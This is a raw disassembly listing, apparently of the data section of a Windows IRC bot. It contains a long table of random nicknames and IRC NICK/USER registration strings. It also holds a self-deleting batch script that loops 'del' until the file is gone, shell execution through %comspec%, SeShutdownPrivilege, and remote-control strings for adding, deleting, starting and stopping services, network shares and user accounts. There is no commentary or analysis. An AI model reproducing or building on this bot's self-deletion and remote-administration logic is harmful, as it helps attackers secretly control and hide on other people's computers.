offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_437EF0 dd offset aSex_0 ; DATA XREF: sub_417ADD+41r ; sub_417ADD+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" dd offset aLag ; "lag" dd offset aTambe ; "|tambe|" dd offset aWoh ; "|woh|" dd offset aTot ; "-|tot|" dd offset aSuck ; "|suck|" dd offset aLuck ; "|luck|" dd offset aHub ; "{hub}" dd offset aSex ; "{sex}" dd offset aGens ; "{gens|" dd offset aLuvuF ; "||luvu-f|" dd offset aWiked ; "|wiked|" dd offset aSick ; "sick}}" dd offset aQ8 ; "Q8" dd offset aQ8A ; "|q8|a" dd offset dword_438780 dd offset aC ; "c" dd offset aD ; "d" db 38h ; 8 db 0ACh ; db 42h ; B db 0 db 98h ; db 87h ; db 43h ; C db 0 db 94h ; db 87h ; db 43h ; C db 0 db 90h ; db 87h ; db 43h ; C db 0 db 0D4h ; db 0C2h ; db 42h ; B db 0 ; --------------------------------------------------------------------------- cld mov ah, 42h add [ebx+esi*4+42h], al add [eax-39h], bl inc edx add [edi+eax*4-533BFFBDh], cl inc edx add [eax-4Dh], cl inc edx add al, bh mov dl, 42h add [edx+ebp*4+42h], dl add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" ; --------------------------------------------------------------------------- mov al, ds:84004387h xchg eax, [ebx+0] pushf xchg eax, [ebx+0] mov [edi-7E83FFBDh], al inc ebx add [eax-7Fh], bh inc ebx add [ecx+eax*4+43h], dh add [eax-7Fh], dh inc ebx add [ecx+eax*4+43h], ch add [eax-7Fh], ch inc ebx add [ecx+eax*4+43h], ah add [ecx+eax*4+43h], bl add [ecx+eax*4+43h], dl add [ecx+eax*4+43h], cl add [ecx+eax*4+43h], al add [eax-6BFFBC79h], cl xchg eax, [ebx+0] fadd st(2), st inc edx add al, ch retn 42h ; --------------------------------------------------------------------------- dd offset off_438140 dd offset aBbl ; "|bbl" dd offset dword_43D128 dd offset dword_43D128 dd offset a___0 ; "_|_" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438750 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_438780 dd offset dword_43D128 dd offset aSleeping ; "Sleeping" dd offset dword_43D128 dd offset dword_43D128 dd offset aFuck ; "Fuck" dd offset aFree ; "Free" dd offset dword_43D128 dd offset dword_43D128 dd offset dword_438734 dd offset dword_43D128 dd offset off_438100 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_4380C0 dd offset dword_4380BC dd offset dword_4380B4 dd offset dword_4380A8 dd offset dword_4380A0 dd offset dword_438098 dd offset dword_438090 dd offset dword_43808C dd offset dword_438088 dword_438088 dd 7536h ; DATA XREF: ___:00438084o dword_43808C dd 7535h ; DATA XREF: ___:00438080o dword_438090 dd 7C75347Ch, 0 ; DATA XREF: ___:0043807Co dword_438098 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438078o dword_4380A0 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438074o dword_4380A8 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438070o dword_4380B4 dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:0043806Co dword_4380BC dd 6C6F6Ch ; DATA XREF: ___:00438068o dword_4380C0 dd 746F74h ; DATA XREF: ___:00438064o aMofo db 'mofo',0 ; DATA XREF: ___:00438060o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:0043805Co align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438058o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438054o align 4 aAha db 'aha',0 ; DATA XREF: ___:00438050o aShit db 'shit',0 ; DATA XREF: ___:0043804Co align 10h aGurl db 'gurl',0 ; DATA XREF: ___:00438048o align 4 aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438044o align 10h off_438100 dd offset word_594F42 ; DATA XREF: ___:00438040o aFree db 'Free',0 ; DATA XREF: ___:0043802Co align 4 aFuck db 'Fuck',0 ; DATA XREF: ___:00438028o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:0043801Co align 10h aF_2 db '^^^f^',0 ; DATA XREF: ___:00438010o align 4 aSad db 'Sad',0 ; DATA XREF: ___:0043800Co aLuvu db 'LUVU',0 ; DATA XREF: ___:00438008o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00437FECo aBbl db '|bbl',0 ; DATA XREF: ___:00437FE0o align 10h off_438140 dd offset loc_425242 ; DATA XREF: ___:00437FDCo aMuckc db 'muckc',0 align 4 aTruck db 'truck',0 align 4 aTrimy db 'trimy',0 align 4 aLuvy db 'luvy',0 align 4 aUi db 'ui',0 align 4 aSdf db 'sdf',0 aRt db 'rt',0 align 10h aGf db 'gf',0 align 4 aTy db 'ty',0 align 4 aRg db 'rg',0 align 4 aHappy db 'happy',0 align 4 aRs db 'rs',0 ; DATA XREF: ___:00437F80o align 4 aQ8A db '|q8|a',0 ; DATA XREF: ___:00437F38o align 10h aQ8 db 'Q8',0 ; DATA XREF: ___:00437F34o align 4 aSick db 'sick}}',0 ; DATA XREF: ___:00437F30o align 4 aWiked db '|wiked|',0 ; DATA XREF: ___:00437F2Co aLuvuF db '||luvu-f|',0 ; DATA XREF: ___:00437F28o align 10h aGens db '{gens|',0 ; DATA XREF: ___:00437F24o align 4 aSex db '{sex}',0 ; DATA XREF: ___:00437F20o align 10h aHub db '{hub}',0 ; DATA XREF: ___:00437F1Co align 4 aLuck db '|luck|',0 ; DATA XREF: ___:00437F18o align 10h aSuck db '|suck|',0 ; DATA XREF: ___:00437F14o align 4 aTot db '-|tot|',0 ; DATA XREF: ___:00437F10o align 10h aWoh db '|woh|',0 ; DATA XREF: ___:00437F0Co align 4 aTambe db '|tambe|',0 ; DATA XREF: ___:00437F08o aLag db 'lag',0 ; DATA XREF: ___:00437F04o aBad db 'bad',0 ; DATA XREF: ___:00437F00o aTree db 'tree',0 ; DATA XREF: ___:00437EFCo align 10h aZex db 'zex',0 ; DATA XREF: ___:00437EF8o aLez db 'lez',0 ; DATA XREF: ___:00437EF4o aSex_0 db 'sex',0 ; DATA XREF: ___:off_437EF0o aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00437EECo align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00437EE8o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00437EE4o align 4 aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00437EE0o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00437EDCo align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00437ED8o align 10h aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00437ED4o align 4 aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00437ED0o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00437ECCo align 4 aCool30m db 'cool30m',0 ; DATA XREF: ___:00437EC8o aTropikal db 'tropikal',0 ; DATA XREF: ___:00437EC4o align 10h aPassenger db 'passenger',0 ; DATA XREF: ___:00437EC0o align 4 aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00437EBCo align 4 aUla db 'ula',0 ; DATA XREF: ___:00437EB8o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00437EB4o aAkden db 'akden',0 ; DATA XREF: ___:00437EB0o align 4 aKoray db 'KORAY',0 ; DATA XREF: ___:00437EACo align 4 aAta29 db 'Ata29',0 ; DATA XREF: ___:00437EA8o align 4 aFirtina db 'firtina',0 ; DATA XREF: ___:00437EA4o aAdamm33 db 'AdAMM33',0 ; DATA XREF: ___:00437EA0o aM41ist db 'M41IST',0 ; DATA XREF: ___:00437E9Co align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: ___:00437E98o align 10h aAdem28 db 'Adem28',0 ; DATA XREF: ___:00437E94o align 4 aAnkm db 'ankM',0 ; DATA XREF: ___:00437E90o align 10h aErkan db 'erkan',0 ; DATA XREF: ___:00437E8Co align 4 aDevre db 'devre',0 ; DATA XREF: ___:00437E88o align 10h aYabanc db 'yabanc',0 ; DATA XREF: ___:00437E84o align 4 aBirsen db 'birsen',0 ; DATA XREF: ___:00437E80o align 10h aA44m db 'a44m',0 ; DATA XREF: ___:00437E7Co align 4 aAlcatras db 'alcatras',0 ; DATA XREF: ___:00437E78o align 4 off_438324 dd offset byte_4B5245 ; DATA XREF: ___:00437E74o aSevda db 'sevda',0 ; DATA XREF: ___:00437E70o align 10h aKotan db 'kotan',0 ; DATA XREF: ___:00437E6Co align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: ___:00437E68o align 10h aAchilles db 'Achilles',0 ; DATA XREF: ___:00437E64o align 4 aKapk db 'kapk',0 ; DATA XREF: ___:00437E60o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: ___:00437E5Co align 10h aHayran db 'hayran',0 ; DATA XREF: ___:00437E58o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: ___:00437E54o align 4 aAnkar db 'Ankar',0 ; DATA XREF: ___:00437E50o align 4 aDjspace db 'DJSPACE',0 ; DATA XREF: ___:00437E4Co aAnk32M db 'ANK-32-M',0 ; DATA XREF: ___:00437E48o align 10h aUmut db 'umut-',0 ; DATA XREF: ___:00437E44o align 4 aAdalim db 'ADALIM',0 ; DATA XREF: ___:00437E40o align 10h aKumul db 'kumul',0 ; DATA XREF: ___:00437E3Co align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: ___:00437E38o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: ___:00437E34o align 4 aSeviseli db 'SeViSeLi',0 ; DATA XREF: ___:00437E30o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: ___:00437E2Co align 4 aAykut1 db 'aykut1',0 ; DATA XREF: ___:00437E28o align 4 aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: ___:00437E24o align 4 aMahinur db 'MAHINUR',0 ; DATA XREF: ___:00437E20o aHoly db 'holy',0 ; DATA XREF: ___:00437E1Co align 4 aFlord db 'FLoRD',0 ; DATA XREF: ___:00437E18o align 4 aKebikec db 'kebikec',0 ; DATA XREF: ___:00437E14o aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: ___:00437E10o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: ___:00437E0Co align 4 aEmre db 'Emre--',0 ; DATA XREF: ___:00437E08o align 4 aRamtha db 'RAMTHA',0 ; DATA XREF: ___:00437E04o align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: ___:00437E00o align 10h aHakan3 db 'hakan3',0 ; DATA XREF: ___:00437DFCo align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: ___:00437DF8o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: ___:00437DF4o aArda db 'arda',0 ; DATA XREF: ___:00437DF0o align 4 aDevran db 'devran',0 ; DATA XREF: ___:00437DECo align 10h aBerk19m db 'Berk19m',0 ; DATA XREF: ___:00437DE8o aDenizlim db 'DenizliM',0 ; DATA XREF: ___:00437DE4o align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: ___:00437DE0o align 10h aAlpay34m db 'alpay34m',0 ; DATA XREF: ___:00437DDCo align 4 aBogac db 'bogac',0 ; DATA XREF: ___:00437DD8o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: ___:00437DD4o align 10h aAnkh db 'ankh',0 ; DATA XREF: ___:00437DD0o align 4 off_4384B8 dd offset byte_457441 ; DATA XREF: ___:00437DCCo dword_4384BC dd 414C5941h, 2Dh ; DATA XREF: ___:00437DC8o aAlbina db 'albina',0 ; DATA XREF: ___:00437DC4o align 4 aIzmir39m db 'Izmir39m',0 ; DATA XREF: ___:00437DC0o align 4 aZack db 'ZACK',0 ; DATA XREF: ___:00437DBCo align 10h aAnk32m db 'ank32m',0 ; DATA XREF: ___:00437DB8o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: ___:00437DB4o align 10h aAhmet db 'ahmet',0 ; DATA XREF: ___:00437DB0o align 4 aPelincik db 'pelincik',0 ; DATA XREF: ___:00437DACo align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: ___:00437DA8o align 10h aRetg db 'RETG',0 ; DATA XREF: ___:00437DA4o align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: ___:00437DA0o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: ___:00437D9Co aAslii db 'aslii',0 ; DATA XREF: ___:00437D98o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: ___:00437D94o aHaticem db 'haticem',0 ; DATA XREF: ___:00437D90o aArzu db 'ARZU',0 ; DATA XREF: ___:00437D8Co align 4 aSudenur db 'SUDENUR',0 ; DATA XREF: ___:00437D88o aSevmekmi db 'sevmekmi',0 ; DATA XREF: ___:00437D84o align 10h aVenedik34 db 'venedik34',0 ; DATA XREF: ___:00437D80o align 4 aTekir db 'tekir',0 ; DATA XREF: ___:00437D7Co align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: ___:00437D78o align 10h aTrend3 db 'trend3',0 ; DATA XREF: ___:00437D74o align 4 aMelekk db 'melekk',0 ; DATA XREF: ___:00437D70o align 10h aAkin db 'AKIN',0 ; DATA XREF: ___:00437D6Co align 4 aMary db 'MARY',0 ; DATA XREF: ___:00437D68o align 10h aJericho db 'JERICHO',0 ; DATA XREF: ___:00437D64o aTolga34 db 'Tolga34',0 ; DATA XREF: ___:00437D60o aMisssunday db 'misssunday',0 ; DATA XREF: ___:00437D5Co align 4 aIrmal db 'irmal',0 ; DATA XREF: ___:00437D58o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: ___:00437D54o align 4 aBerk19 db 'berk19',0 ; DATA XREF: ___:00437D50o align 4 aHexaaa db 'hexaaa',0 ; DATA XREF: ___:00437D4Co align 4 aErkan27 db 'erkan27',0 ; DATA XREF: ___:00437D48o aKaan38dent db 'kaan38dent',0 ; DATA XREF: ___:00437D44o align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: ___:00437D40o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: ___:00437D3Co align 10h aKencing db 'Kencing',0 ; DATA XREF: ___:00437D38o aReshma db 'reshma',0 ; DATA XREF: ___:00437D34o align 10h aCamel db 'CAMEL',0 ; DATA XREF: ___:00437D30o align 4 aGirl db 'GirL',0 ; DATA XREF: ___:00437D2Co align 10h aImra db 'imra',0 ; DATA XREF: ___:00437D28o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: ___:00437D24o align 4 aPuregold db 'puregold',0 ; DATA XREF: ___:00437D20o align 10h aKermit db 'kermit',0 ; DATA XREF: ___:00437D1Co align 4 aManee db 'manee',0 ; DATA XREF: ___:00437D18o align 10h aTroller db 'troller',0 ; DATA XREF: ___:00437D14o aLuisa db 'Luisa',0 ; DATA XREF: ___:00437D10o align 10h aNastysha db 'nastysha',0 ; DATA XREF: ___:00437D0Co align 4 aRimpy db 'rimpy',0 ; DATA XREF: ___:00437D08o align 4 aJanno db 'janno',0 ; DATA XREF: ___:00437D04o align 4 aBunty db 'bunty',0 ; DATA XREF: ___:00437D00o align 4 aHeval db 'heval',0 ; DATA XREF: ___:00437CFCo align 4 aCme db 'cme',0 ; DATA XREF: ___:00437CF8o aMarcy db 'marcy',0 ; DATA XREF: ___:00437CF4o align 4 aTalika db 'talika',0 ; DATA XREF: ___:00437CF0o align 10h aShez db 'Shez',0 ; DATA XREF: ___:00437CECo align 4 aKen db 'ken',0 ; DATA XREF: ___:00437CE8o aFlexster db 'flexster',0 ; DATA XREF: ___:00437CE4o align 4 aKoko db 'koko',0 ; DATA XREF: ___:00437CE0o align 10h aMale db 'male',0 ; DATA XREF: ___:00437CDCo align 4 aSwin db 'swin',0 ; DATA XREF: ___:00437CD8o align 10h aCar1nna db 'Car1nna',0 ; DATA XREF: ___:00437CD4o aKrizha db 'KRIZHA',0 ; DATA XREF: ___:00437CD0o align 10h aEmilya db 'emilya',0 ; DATA XREF: ___:00437CCCo align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: ___:00437CC8o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: ___:00437CC4o aFarooq db 'farooq',0 ; DATA XREF: ___:00437CC0o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: ___:00437CBCo align 10h aM_0: ; DATA XREF: ___:00437CB8o ; ___:00438004o unicode 0, <M>,0 word_438724 dw 4Eh ; DATA XREF: sub_419E79+38r ; ___:00437CB4o align 4 dword_438728 dd 42h ; DATA XREF: ___:00437CB0o dword_43872C dd 56h ; DATA XREF: ___:00437CACo dword_438730 dd 43h ; DATA XREF: ___:00437CA8o dword_438734 dd 58h ; DATA XREF: ___:00437CA4o ; ___:00438038o dword_438738 dd 5Ah ; DATA XREF: ___:00437CA0o dword_43873C dd 4Ch ; DATA XREF: ___:00437C9Co dword_438740 dd 4Bh ; DATA XREF: ___:00437C98o dword_438744 dd 4Ah ; DATA XREF: ___:00437C94o dword_438748 dd 48h ; DATA XREF: ___:00437C90o dword_43874C dd 47h ; DATA XREF: ___:00437C8Co dword_438750 dd 46h ; DATA XREF: ___:00437C88o ; ___:00438000o dword_438754 dd 44h ; DATA XREF: ___:00437C84o dword_438758 dd 53h ; DATA XREF: ___:00437C80o dword_43875C dd 50h ; DATA XREF: ___:00437C78o dword_438760 dd 4Fh ; DATA XREF: ___:00437C74o dword_438764 dd 55h ; DATA XREF: ___:00437C6Co word_438768 dw 59h ; DATA XREF: sub_41A19D+38r ; ___:00437C68o align 4 dword_43876C dd 54h ; DATA XREF: ___:00437C64o dword_438770 dd 52h ; DATA XREF: ___:00437C60o dword_438774 dd 45h ; DATA XREF: ___:00437C5Co dword_438778 dd 57h ; DATA XREF: ___:00437C58o dword_43877C dd 51h ; DATA XREF: ___:00437C54o dword_438780 dd 62h ; DATA XREF: ___:00437C48o ; ___:00437F3Co ... dword_438784 dd 78h ; DATA XREF: ___:00437C3Co dword_438788 dd 7Ah ; DATA XREF: ___:00437C38o dword_43878C dd 6Ch ; DATA XREF: ___:00437C34o dword_438790 dd 68h ; DATA XREF: ___:00437C28o dword_438794 dd 67h ; DATA XREF: ___:00437C24o dword_438798 dd 66h, 79h, 77h ; DATA XREF: ___:00437C20o dword_4387A4 dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_4177CF+B1o dword_4387B0 dd 323334h ; DATA XREF: sub_4177CF+79o dword_4387B4 dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_4177CF+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_4178BA+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 10h a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417ADD+BCo ; sub_417ADD+175r ... align 4 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; --------------------------------------------------------------------------- mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o align 10h aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418293+1Co align 10h aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418359+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418359+48o align 4 unk_43892C db 2Dh ; - ; DATA XREF: sub_4184E1+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_43895C db 2Dh ; - ; DATA XREF: sub_4184E1+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_438984 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_4184E1+5Co dd 65726165h, 64h off_4389A0 dd offset aAdd ; DATA XREF: sub_4186C1+60r ; sub_418A98+51r ... ; "Add" off_4389A4 dd offset aAdded ; DATA XREF: sub_4186C1+2Dr ; sub_418A98+83r ... ; "Added" dword_4389A8 dd 0 ; DATA XREF: sub_4186C1+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 438A14h, 438A0Ch, 2, 438A00h, 4389F4h, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: ___:004389D4o aStop_0 db 'Stop',0 ; DATA XREF: ___:004389D0o align 4 aStarted db 'Started',0 ; DATA XREF: ___:004389C8o aStart_0 db 'Start',0 ; DATA XREF: ___:004389C4o align 4 aListed db 'Listed',0 ; DATA XREF: ___:004389BCo align 4 aList_1 db 'List',0 ; DATA XREF: ___:004389B8o align 4 aDeleted db 'Deleted',0 ; DATA XREF: ___:004389B0o aDelete_0 db 'Delete',0 ; DATA XREF: ___:004389ACo align 4 aAdded db 'Added',0 ; DATA XREF: ___:off_4389A4o align 4 aAdd db 'Add',0 ; DATA XREF: ___:off_4389A0o unk_438A68 db 2Dh ; - ; DATA XREF: sub_4186C1+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_438A8C db 2Dh ; - ; DATA XREF: sub_4186C1+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 4 unk_438AB8 db 2Dh ; - ; DATA XREF: sub_4186C1+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o align 4 aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_4187DD:loc_4188E7o db 'the state of the service.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_4187DD:loc_4188E0o align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_4187DD:loc_4188D9o db ' correct access rights.',0 align 10h aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188D2o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_4187DD:loc_4188C4o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_4187DD:loc_4188BDo db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_4187DD:loc_4188B6o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_4187DD:loc_41888Bo align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_4187DD:loc_418884o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_4187DD:loc_41887Do db 'tServiceCtrlDispatcher.',0 align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_4187DD:loc_418876o align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_4187DD:loc_41884Bo db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_4187DD:loc_418841o aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_4187DD:loc_418837o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_4187DD:loc_418823o align 4 aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co align 10h aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_41895B+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_41895B:loc_418A27o aStarting db ' Starting',0 ; DATA XREF: sub_41895B:loc_418A20o aStoping db ' Stoping',0 ; DATA XREF: sub_41895B:loc_418A19o aRunning db ' Running',0 ; DATA XREF: sub_41895B:loc_418A12o aContinuing db ' Continuing',0 ; DATA XREF: sub_41895B:loc_418A0Bo aPausing db ' Pausing',0 ; DATA XREF: sub_41895B:loc_418A04o aPaused_0 db ' Paused',0 ; DATA XREF: sub_41895B:loc_4189FDo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_41895B+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_41895B+25o align 4 unk_43900C db 2Dh ; - ; DATA XREF: sub_418A98+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 10h dword_439030 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418A98+8Ao dd 73252720h, 27h unk_43904C db 2Dh ; - ; DATA XREF: sub_418A98+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o align 10h aNo db 'No',0 ; DATA XREF: sub_418C8E+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_418C8E+B5o unk_439098 db 2Dh ; - ; DATA XREF: sub_418C8E+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 10h aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_418C8E+26o align 4 unk_4390F8 db 2Dh ; - ; DATA XREF: sub_418DAF+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 10h unk_439120 db 2Dh ; - ; DATA XREF: sub_418DAF+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 10h unk_439150 db 2Dh ; - ; DATA XREF: sub_418DAF+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 10h unk_439170 db 2Dh ; - ; DATA XREF: sub_418EF6+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o align 4 aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o align 4 aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo align 4 